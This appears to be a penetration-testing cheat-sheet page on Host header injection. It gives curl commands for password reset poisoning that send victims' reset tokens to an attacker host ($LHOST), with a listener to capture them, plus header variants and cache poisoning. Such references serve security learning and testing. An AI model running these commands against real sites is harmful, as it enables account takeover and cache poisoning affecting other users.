# Host Header Injection

> Exploiting misconfigured HTTP Host headers to manipulate web app logic, bypass access controls, poison caches, and trigger SSRF or password reset vulnerabilities.

- **URL:** https://hackindex.io/services/web/exploitation/host-header-injection
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

Host header injection exploits applications that trust the HTTP Host header for generating URLs, routing, or access control decisions. The most impactful exploitation is password reset poisoning: the application uses the Host header to build the reset link, so an attacker-controlled Host value places their domain in the victim's reset email. Other impacts include web cache poisoning, SSRF, and virtual host routing bypass.

## Password Reset Poisoning

Request a password reset for the victim while injecting your domain in the Host header. The application generates a reset link using your domain instead of its own. When the victim clicks the link, the reset token is sent to your server.

**Basic Host header injection**

```bash
curl -s -X POST http://$TARGET_IP:$PORT/forgot-password \
  -H 'Host: $LHOST' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'email=victim@target.local'
```

**Start a listener to capture the reset token**

```bash
python3 -m http.server 80
```

## Header Variations

If the basic Host injection is blocked, try alternative headers that some frameworks prioritize over Host.

**X-Forwarded-Host injection**

```bash
curl -s -X POST http://$TARGET_IP:$PORT/forgot-password \
  -H 'X-Forwarded-Host: $LHOST' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'email=victim@target.local'
```

Other headers to try:

- `X-Forwarded-Host: $LHOST`
- `X-Host: $LHOST`
- `X-Forwarded-Server: $LHOST`
- `X-Original-URL: http://$LHOST/forgot-password`
- `Forwarded: host=$LHOST` (RFC 7239)

## Double Host Header

Some servers use the first Host header while validators check the second (or vice versa).

```bash
curl -s -X POST http://$TARGET_IP:$PORT/forgot-password \
  -H 'Host: target.local' \
  -H 'Host: $LHOST' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'email=victim@target.local'
```

## Port Injection

When the application validates the hostname but not the port, inject a port that includes your payload.

```bash
curl -s -X POST http://$TARGET_IP:$PORT/forgot-password \
  -H 'Host: target.local:@$LHOST' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'email=victim@target.local'
```

## Web Cache Poisoning via Host Header

If a cache sits in front of the application and caches responses keyed on the URL (but not the Host header), a poisoned Host value contaminates the cached page for all users.

```bash
curl -s http://$TARGET_IP:$PORT/ \
  -H 'Host: $LHOST' \
  -H 'X-Forwarded-Host: $LHOST' -v 2>&1 | grep -iE 'x-cache|age|cf-cache'
```

## References

- [PortSwigger: HTTP Host Header Attacks](https://portswigger.net/web-security/host-header) - Comprehensive guide on host header injection techniques.
- [PortSwigger: Password Reset Poisoning](https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning) - Password reset poisoning via host header injection.